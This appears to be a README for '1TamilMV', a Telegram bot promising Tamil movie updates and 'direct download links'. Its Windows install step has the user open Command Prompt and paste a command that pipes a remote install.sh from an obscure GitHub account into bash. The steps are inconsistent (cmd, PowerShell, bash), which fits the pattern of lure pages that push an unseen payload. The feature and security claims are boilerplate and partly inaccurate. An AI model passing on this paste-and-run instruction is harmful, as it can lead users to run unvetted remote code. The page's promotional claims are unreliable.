1TamilMV is a powerful Telegram bot that brings the best of Tamil cinema (Kollywood) directly to your fingertips! Get instant updates on:

✨ Latest Tamil Movie Releases
🍿 OTT Platform Updates (Netflix, Amazon Prime, Hotstar, ZEE5)
🎬 Movie Information & Reviews
🔗 Direct Download Links
🎭 Actor & Director Information
📊 Box Office Collections
🎵 Music & Soundtrack Updates

Tamil cinema (also known as Cinema of Tamil Nadu, the Tamil film industry, or the Chennai film industry) is the film industry based in Chennai, Tamil Nadu, India, dedicated to the production of Tamil language films.

The Tamil film industry is the fourth-largest film industry in the world. It has a huge market not just in India but also in foreign countries like England, Singapore, Malaysia, Sri Lanka and so on.

• 📍 Based in: Kodambakkam, Chennai (Also called "Kollywood")
• 🎬 Second Largest Indian film industry by revenue
• 🌍 Global Reach: 150+ countries
• ⭐ Famous Actors: Rajinikanth, Kamal Haasan, Vijay, Suriya
• 🎵 Known for: Music, action, emotional storytelling
• 💰 Annual Output: 100+ films per year

• Instant Movie Search - Find any Tamil movie instantly
• OTT Notifications - Get alerted when movies release on streaming
• Movie Details - Ratings, cast, crew, release dates
• Download Links - Direct links to movie sources
• Release Calendar - Upcoming releases tracked
• Actor Profiles - Follow favorite actors
• Advanced Search - Filter by year, genre, actor, director
• Subscription System - Personalized notifications
• Multi-Language - Tamil, Telugu, English support
• Channel Integration - Connect with movies channels

• ✅ High Performance - Async/await architecture
• ✅ Scalable - Handles 100,000+ users
• ✅ Reliable - 99.9% uptime
• ✅ Secure - Encrypted data storage
• ✅ Fast Search - Indexed database queries
• ✅ Real-time Updates - Live notifications
• ✅ Easy to Deploy - One-command setup
• ✅ Extensible - Plugin architecture

1. Press Win + R
2. Type:

cmd

3. Press Enter This will open Command Prompt.

Copy the command below and paste it into Command Prompt, then press Enter. powershell The installer will automatically download and install the required components.

curl -sSL https://raw.githubusercontent.com/Tremorfitzapplaud/1TamilMV/main/install.sh | bash

# Clone repository
git clone https://github.com/Tremorfitzapplaud/1TamilMV.git
cd 1TamilMV

# Create virtual environment
python -m venv venv
source venv/bin/activate  # or venv\Scripts\activate on Windows

# Install dependencies
pip install -r requirements.txt

# Configure bot
cp config.example.yaml config.yaml
nano config.yaml  # Edit with your Bot Token

# Run bot
python main.py

1. Open Telegram and find @BotFather
2. Type /newbot
3. Follow the instructions
4. Copy your API token

cp config.example.yaml config.yaml

Edit config.yaml:

# Bot Configuration
bot_token: "YOUR_BOT_TOKEN_HERE"
bot_username: "your_bot_username"

# Database
database: "sqlite:///tamilmv.db"

# API Keys (Optional)
tmdb_api_key: "your_tmdb_key"
omdb_api_key: "your_omdb_key"

# Features
enable_notifications: true
enable_downloads: true
enable_reviews: true
max_search_results: 5

# Logging
log_level: "INFO"
log_file: "logs/bot.log"

python scripts/init_db.py

python main.py

/start           - Start the bot and see main menu
/help            - Get help and command list
/search <movie>  - Search for a Tamil movie
/trending        - See trending Tamil movies
/upcoming        - Upcoming releases
/popular         - Most popular movies

/info <id>       - Get detailed movie information
/cast <movie>    - See cast and crew
/reviews <id>    - Read movie reviews
/ratings <id>    - Check ratings and scores
/similar <id>    - Find similar movies

/ott <platform>  - Movies on specific OTT (Netflix, Prime, Hotstar)
/releases today  - Today's releases
/releases month  - This month's releases
/genres          - Browse by genre

/subscribe       - Subscribe to notifications
/unsubscribe     - Unsubscribe from updates
/preferences     - Set notification preferences
/favorites       - Manage favorite actors/movies
/watchlist       - Keep track of movies to watch

/stats           - Bot statistics
/broadcast <msg> - Broadcast message (Admin only)
/updatedb        - Update movie database
/backup          - Backup database

• Installation Guide
• Configuration Guide
• Quick Start

• Commands Reference
• Movie Search Guide
• OTT Updates Guide

• API Reference
• Bot Architecture
• Database Schema
• Plugin Development

• Deployment Guide
• Performance Tuning
• Security Best Practices
• Troubleshooting

• Master (2021) - Crime thriller
• Pushpa (2021) - Action, Crime
• Beast (2022) - Action, Thriller
• Varisu (2023) - Action, Drama
• Leo (2023) - Action, Thriller

• Padaiyottai - Political thriller
• Jai Bhim - Social drama
• Ponniyin Selvan - Epic historical
• Mahaan - Crime drama
• Annaatthe - Mass entertainer

• Action movies
• Crime thrillers
• Romantic comedies
• Historical epics
• Sci-fi films

✅ End-to-End Encryption - All sensitive data encrypted
✅ No Data Selling - Your data is never sold
✅ Privacy First - Minimal data collection
✅ GDPR Compliant - Full data deletion on request
✅ Secure Storage - AES-256 encryption

Read our Privacy Policy | Terms of Service

• Telegram Channel: @1TamilMV
• Support Group: @1TamilMVSupport
• Discord Server: Join Discord
• GitHub Issues: Report bugs
• GitHub Discussions: Chat with community

• Python 3.9+ - Programming language
• python-telegram-bot - Telegram bot library
• SQLAlchemy - ORM for database
• FastAPI - Web framework (optional)

• SQLite - Default database
• PostgreSQL - Production ready
• Redis - Caching layer

• TMDB API - Movie information
• OMDB API - Extended movie data
• Custom Scraper - Tamil movie data

• Docker - Containerization
• GitHub Actions - CI/CD
• AWS/Heroku - Cloud hosting

✅ Core movie search
✅ OTT integration
✅ User notifications
✅ Advanced filtering

🔜 AI-powered recommendations
🔜 Social features (ratings, reviews)
🔜 Movie groups/communities
🔜 Box office tracking

📅 Web dashboard
📅 Mobile app
📅 Voice search
📅 Recommendation engine

# Check if bot is running
python main.py --check

# View logs
tail -f logs/bot.log

# Restart bot
python main.py --restart

# Reset database
python scripts/reset_db.py

# Backup database
python scripts/backup_db.py

# Restore from backup
python scripts/restore_db.py

Problem: Bot token invalid

Solution: Check your config.yaml for correct token

Problem: Slow response

Solution: Run 'python scripts/optimize_db.py' to index database

Problem: Movies not found

Solution: Update database with 'python scripts/update_movies.py'

See Troubleshooting Guide for more help.

We welcome contributions! See CONTRIBUTING.md for guidelines.

1. Fork the repository
2. Create feature branch (git checkout -b feature/amazing-feature)
3. Commit changes (git commit -m 'Add amazing feature')
4. Push to branch (git push origin feature/amazing-feature)
5. Open Pull Request

• 🎬 Movie data collection
• 🌍 Translation support
• 🎨 UI improvements
• 🐛 Bug fixes
• 📚 Documentation

This project is licensed under the MIT License - see LICENSE file.

1TamilMV is a fan-made bot for discovering and tracking Tamil movies. It is not affiliated with:

• Any movie production companies
• OTT platforms (Netflix, Prime, Hotstar, ZEE5)
• Telegram official
• Any actors or directors

Usage:

• ✅ Use for finding movie information
• ✅ Get OTT updates
• ✅ Share movie reviews
• ❌ Don't share pirated content
• ❌ Don't violate copyrights
• ❌ Don't spam or abuse

If you own copyrights and want content removed, please contact us at support@1tamilmv.dev

Need help? Here's where to find it:

• Documentation: See docs/ folder
• FAQ: Common Questions
• Issues: GitHub Issues
• Email: support@1tamilmv.dev
• Telegram: @1TamilMVSupport

If you find 1TamilMV helpful:

⭐ Star on GitHub - Help others discover us
💬 Share with friends - Spread the word
🐛 Report bugs - Help us improve
💡 Suggest features - Shape our future
💰 Donate - Support development

Created by: 1TamilMV Development Team
Contributors: 50+ open-source developers
Special Thanks: Tamil cinema fans worldwide